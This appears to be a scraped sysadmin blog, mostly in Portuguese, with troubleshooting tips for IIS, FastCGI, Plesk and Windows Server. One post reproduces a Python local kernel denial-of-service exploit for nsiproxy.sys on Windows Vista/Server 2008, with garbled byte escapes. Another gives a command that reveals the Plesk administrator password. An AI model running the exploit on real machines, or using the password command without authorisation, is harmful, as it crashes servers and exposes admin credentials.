How to Solve unexpectedly Error 500 (Timeout) PHP + FastCGI + IIS 7 (Windows 7/8/10/2008/2012 server)

Standard

I could found some links that could help you. The problem is the activityTimeout of your cgi module.

For my, works in summary this.

Open the dos console “cmd” and go to c:\windows\system32\inetsrv\ then, execute this command, changing the path of your php-cgiappcmd set config -section:system.webServer/fastCgi "-[fullPath='C:\php\php-cgi.exe'].activityTimeout:3600"

Windows 2008 server exploit DOS

Standard

#!/usr/bin/python

############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
SYM_NAME = "\\.\Nsi"
dwReturn = c_ulong()
out_buff = ''
in_buff = ("x00x00x00x00x00x00x00x00xecx2dx39x6ex07x00x00x00"
"x01x00x00x00x00x00x00x00x38x89x6cx01x08x00x00x00"
"x00x00x00x00x00x00x00x00x10xfax78x00x28x00x00x00"
"x38xfax78x00x0cx00x00x00")
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)

dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

 

E o fim do filme é:

2008

2008

Fonte: http://www.exploit-db.com/exploits/17305/

Service Unavailable HTTP Error 503 – Coisas que só o IIS pode “proporcionar” a você

Standard

Das coisas que mais me irritam a mais especial é a falta de logs precisos por parte do sistema operacional. Em se tratando de Microsoft aí é que a coisa pega e pega FEIO!

Um dos erros que me fizeram gastar aproximadamente 8 horas de troubleshooting foi o erro Service Unavailable HTTP Error 503. Das coisas que mais se alegam são:

– Chaves pré-definidas junto aos serviços do IIS:
http://blogs.iis.net/webtopics/archive/2010/02/17/a-not-so-common-root-cause-for-503-service-unavailable.aspx
e
http://blogs.msdn.com/b/drnick/archive/2006/10/16/configuring-http-for-windows-vista.aspx

– Contas sem autoridade junto ao IIS:
http://social.msdn.microsoft.com/Forums/en/mdmsetup/thread/4689da4a-0452-45b6-bbb4-21ccb76d8ff9

– IIS operando com recursos de 32 bits em plataformas 64 bits:
http://forums.asp.net/p/1502755/3560390.aspx

– IIS com “loucuras” que só Deus para não duvidar:
http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/55f71614-ef1b-4015-b9c8-a42c1e700c25.mspx?mfr=true

– Falaram que pode ser algum sysadmin modificando algo, por isso o downtime:
http://www.checkupdown.com/status/E503_pt.html
http://technet.microsoft.com/pt-br/library/cc736325%28WS.10%29.aspx

Caso você tenha “passado” pelos pontos acima e nenhum deles “sanou” seu problema, e além disso, você tem CERTEZA de que sua appweb está 100% depurada, debug 100% ok, tudo filé, e ainda tem CERTEZA que nenhum admin andou fazendo besteira em seu servidor, a saída pode ser alcançada da seguinte forma:

1 – Observe se existe alguma tabela corrompida em suas consultas SQL na appweb (caso consiga – detalhe, foi meu caso com BDs do tipo Mysql).
2 – Permissões em arquivos remotos ou tempo de resposta a tais chamadas.

Perceba que não é erro em nada de configuração, servidor e etc (evite loucuras como as minhas de tuning, pensando que era um erro de alto processamento, i/o e etc).

Normalmente os logs ineficientes (ex: 503 “n/a” nome do POOL_com_paranente_problema) do IIS falam que o pool de aplicativos “XXX” (nome que você deu ao pool) para rodar aplicativos DOTNET expirou/expulso/estuprou/estrangulou e etc a requisição (quer seja por POST ou GET). (na pasta logfiles dentro de windows – aonde o iis guarda seus logs)
O mais top dos erros:

1. “Connection_Dropped DefaultAppPool”
2. “Connection_Abandoned_By_AppPool DefaultAppPool”

Mesmo que você venha utilizar-se do software de debug que a MS tem, sinto muito em lhe avisar, mas será em vão utilizar-se tal ferramenta!
Siga os meus conselhos nas linhas em negrito, aquilo ali pode salvar seu dia. Use um frontend para executar suas querys e ver se não estão ali as saídas.

Ferramenta: http://support.microsoft.com/kb/919792/

path ou caminho das estatísticas de domínios no plesk

Standard

Muitas vezes precisamos de estatísticas (LOGS DO DOMÍNIO) para analizar algum erro em um servidor e nos deparamos comum certo dilema:

O plesk não é como “as coisas naturais do iis são”… lol
É isto mesmo, os logs que mostram erros críticos em um site não ficam localizados em:
C:\Windows\System32\LogFiles\W3SVCXXXXX (aonde XXXXX são números).

Caso queira achar uma informação proveitosa de um domínio a saída está aqui:

C:\INETPUB\VHOSTS\SITEASERANALIZADO.COM.BR\STATISTICS\LOGS\W3SVCXXXXX (XXXXX = números)

Se achar a resolução do problema, pls, dê um whois no meu domínio, ache minha casa e me mande uma caixa de BIS, please!

Como registrar DLL no windows 2008 server (make sure…)

Standard

Os sistemas 64 bits estão tomando conta do mercado, e com eles algumas dificuldades novas. No windows server 2008 Standart 64 bits, ao tentar registrar uma DLL com o comando regsvr32 “nome da dll” na opção executar obtive a seguinte mensagem:

Talvez o módulo “Nome da DLL” não seja compatível com a versão do Windows que você está executando. Verifique se ele é compatível com uma versão x86 (32 bits) ou x64 (64 bits) do arquivo regsvr32.exe.

Isso acontece pois quando você chama o comando sem especificar o local, ele usa o regsvr32 de 64 bits. Para usar o de 32 bits existe alguns paços a serem seguidos.

Depois de uma pesquisa na net encontrei uma solução estapafúrdia para o problema que consiste em você abrir o prompt de comando, acessar a pasta c:\windows\syswow64 e ai realizar o registro das dlls. Simples mas ao mesmo tempo difícil caso não se tenha essa informação. Acho que ao invés de retornar essa mensagem o windows deveria dizer algo assim:

Ó seu mala, Essas dlls antigas devem ser registradas acessando a pasta c:\windows\syswow64 pelo prompt de comando e digitando logo após o comando regsvr32 “nome da sua dll”.

Bom, como o mundo não é perfeito, fica aqui minha dica com as devidas referências ao FAQ da microsoft que foi onde encontrei essa informação.

Cordialmente;

Claudir Pereira dos Santos

T.I.

Matelândia, 29/06/2009.

Referências

http://support.microsoft.com/kb/282747/en-us

100% retirado de: http://claupers.spaces.live.com/blog/cns!80F64739372147EE!521.entry

Como saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter)

Standard

Para saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter) basta rodar o seguinte comando:

C:\””PASTA DE PROGRAMAS””\SWsoft\Plesk\admin\bin\plesksrvclient.exe” -get (no 2003)
“C:\””PASTA DE PROGRAMAS”\Parallels\Plesk\admin\bin\plesksrvclient.exe” -get (no 2008).
Abraços.

internal server error windows plesk 9 ou 8

Standard

Caso tenha 1 site em asp e o mesmo está apresentando esse erro, please, não entre em pânico, uma das coisas que pode estar ocasionando isto é o fato do parent path estar desabilitado (sua app ou de seu cliente recém chegado usa recursividade assim ../), para sanar isto faça o seguinte (dentro do domínio do seu cliente – já dentro do plesk como admin):

3 -> Clique em File e escolhe web directories (isso no 9, no 8 já tem web directories).

4 -> Assim que for aberto procure por Directory Properties, clique nele.

Procure a opção que ordena a liberação do parent path e marque-a.


Depois disso tente acessar novamente 😉


Vmware do not work on Windows 2008 server and virtual server 2008 – IPs no accept packets – ips do not work on iweb or others idc

Standard

Essa dica é simples, funciona para coisas simples.

Seguinte, no 2008 server ocorre uma situação bem diferente das que enfrentei até hoje.
Para que o seu vmware funcione de maneira correta no momento de setar e trafegar dados através do seu IP como BRIDGE MODE você precisa habilitar 1 serviço bem simples do windows e (talvez), caso seu firewall esteja ativado você deverá verificar se o serviço de roteamento está liberado na filtragem de pacotes.

Para isto clique em iniciar -> executar -> digite services.msc
Dentro dele localize um serviço de Roteamento do Windows.

Ative-o e seja feliz!

An error occurred while Internet Connection Sharing was being enabled. The dependency service or group failed?

Standard

Isso ocorre porque o ICS (Internet Connection Sharing) não está rodando.
Como corrigir?

Clique em iniciar -> executar -> digite services.msc

Aperte com o botão direito sobre as opções que citarei abaixo, escolha para que carreguem automaticamente:

Application Layer Gateway Service
Network Connections
Network Location Awareness (NLA)
Plug And Play
Remote Access Auto Connection Manager
Remote Access Connection Manager
Remote Procedure Call (RPC)
Telephony

Fazendo isso seu server rodará sem dores de cabeça!

Abraços.

Plesk 8 e Plesk 9 Como modificar páginas de erros personalizadas how to change customized error pages on plesk

Standard

No meu blog littleoak eu fiz um how para isto:

http://littleoak.wordpress.com/2009/03/24/plesk-8-e-plesk-9-como-modificar-paginas-de-erros-personalizadas-how-to-change-customized-error-pages-on-plesk/

Ativando register globals no Plesk 8 ou Plesk 9 How to enable register globals or safe mode on plesk

Standard

Criei no littleoak um tutorial para isto.

http://littleoak.wordpress.com/2009/03/24/ativando-register-globals-no-plesk-8-ou-plesk-9-how-to-enable-register-globals-safe-mode-on-plesk/

A dynamic link library (DLL) initialization routine failed FTP

Standard

Se você recebeu esta mensagem quando estava tentando reiniciar seu FTP (iis) -> A dynamic link library (DLL) initialization routine failed FTP – siga a dica abaixo:

entre no servidor, abra o MS-DOS (iniciar-> executar -> cmd) e digite:

cd c:\inetpub\adminscripts\

Entrando ali ajuste as portas passivas para uso do FTP (lembrar que tais portas só operam acima de 5500, por isso do erro):

adsutil.vbs get msftpsvc/Passiveportrange “5500-5800”

Após reinicie seu iis e seja feliz!

Hello world!

Standard

Esse termo Hello World é interessante, por que se observarmos o cidadão torna-se bem vindo ao mundo… rsrsrs, sem graça não é? Sim, mas faz sentido aqui em 2 situações:

Hello Nerd World and Hello Program World.

Seja bem vindo ao nosso site de How Tos e “contos de TI”.
Divirta-se ou aprenda algo interessante.

Prometemos How tos sobre Redes, PHP, Mysql, Postgres, Windows, BSD e Gnu/Linux, sem contar notícias sobre Apple, Sun, IBM e outros “monstrinhos” do mercado de TI, como Red Hat e a “pequenina” GOOGLE.

Obrigado por nos prestigiar.